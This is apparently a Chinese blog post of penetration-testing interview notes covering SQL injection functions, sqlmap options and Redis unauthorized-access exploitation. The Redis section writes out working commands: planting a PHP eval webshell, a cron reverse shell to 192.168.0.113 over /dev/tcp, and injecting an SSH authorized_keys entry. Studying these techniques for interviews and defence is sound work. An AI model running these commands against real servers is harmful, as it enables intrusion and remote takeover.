面试复习五


前言

因为这段时间面试了几次,也看了很多别人的面试总结,所以抽个时间总结一下自己面试的内容。

sql注入常见函数


#MySQL数据库版本
version()

#数据库安装路径
@@basedir

#数据库文件存放路径
@@datadir

#操作系统版本
@@version_compile_os

#拼接字符串,显示内容
函数concat()、concat_ws()、group_concat()

#截取字符串
substr()、substring()、mid()

sqlmap常见参数


-v                  输出级别(0~6,默认1)
-u url              指定url
--data=DATA         该参数指定的数据会被作为POST数据提交
-r file.txt         常用于POST注入或表单提交时注入
--cookie            设置cookie
--threads           指定线程并发数
--level             检测级别(1~5,默认1)
--risk              风险等级(1~4,默认1)
--banner            列举数据库系统的信息等
--sql-query         执行任意的SQL语句
--sql-shell         使用交互式SQL语句执行环境
--flie-read         读取文件
--os-cmd            执行任意系统命令
--os-shell          使用交互式shell执行命令

sqlmapOSShell

原理

–os-shell的本质就是写入两个php文件,一个文件是上传页面可以让我们上传文件到网站路径下。
另一个文件是用于命令执行的页面,将执行后的结果输出到sqlmap中

使用

前提条件:

    知道网站的物理路径
    高权限数据库用户
    secure_file_priv无限制
    网站路径有写入权限

首先保存一份请求包文件,使用 python sqlmap.py -r xxx.txt -dbms=数据库类型 --os-shell 跑一下
然后根据实际情况选择搭建网站的语言以及网站物理地址即可

mysql写shell前置条件

①数据库的当前用户为ROOT或拥有FILE权限;
② 知道网站目录的绝对路径;
③ PHP的GPC参数为off状态;
④ MySQL中的secure_file_priv参数不能为NULL状态

Redis未授权

产生原因

redis.conf 配置文件中配置为任何机器都可以登录 redis ,而且未设置密码或者设置弱口令

利用方式

一般都使用kali的redis-cli工具

利用redis写入webshell

config set dir /var/www/html/(网站目录) 
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>" 

# set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"   
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行

save
任务计划反弹Shell

set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.0.113/9999 0>&1\n"
config set dir 定时文件目录
config set dbfilename root
save

Ubuntu 不能用的原因是 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件的权限是600

ssh-keygen 公钥登录服务器

# 攻击方生成一对key
ssh-keygen -t rsa

# 将生成的公钥值写入目标服务器
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit

# 连接目标
$ redis-cli -h 192.168.1.100 -p 6379        使用工具连接
192.168.1.100:6379> config set dir /root/.ssh/
192.168.1.100:6379> config get dir
192.168.1.100:6379> config set dbfilename "authorized_keys"
192.168.1.100:6379> save

# 通过ssh连接目标
ssh root@192.168.1.100 -i ~/.ssh/id_rsa
主从复制

主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。
通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

注意事项

在执行命令的时候要加上\n\n,否则容易出现乱码

url后缀名.do.action是什么框架

一般是Struts2或者Spring框架。
在URL中添加不存在的路径,如果返回同样的页面,则大概率是Struts2框架,如果返回404或者是报错,则大概率是Spring框架。

sql盲注告警判断成功

正常有回显的注入看返回的状态码和数据内容就知道是否成功,但是盲注需要查看时间差

判断文件上传告警分析上传成功

首先看告警记录是否包含webshell流量特征、是否有“上传成功”或“success upload”等信息提示
然后查看服务器中是否存在上传的文件,是否是系统自动删除的
查看日志是否有脚本文件的访问记录

fastjson漏洞原理

shiro密钥会变的情况

后门分析流程

java、C++、python工具

鉴权漏洞接口

栈溢出、格式化字符串

网站访问重定向

DNS劫持了怎么办

防火墙和WAF

网络基础排障

无网排障

总结

一面问的时候大多会问技术细节,这时候照着面筋回答就好了。
二面三面问的是项目上的工作细节,不会详细问你一个点,而是问得很广泛,例如:渗透测试的流程、应急响应做过吗、java框架漏洞了解哪些、你以前的工作有什么成果。


评论
  目录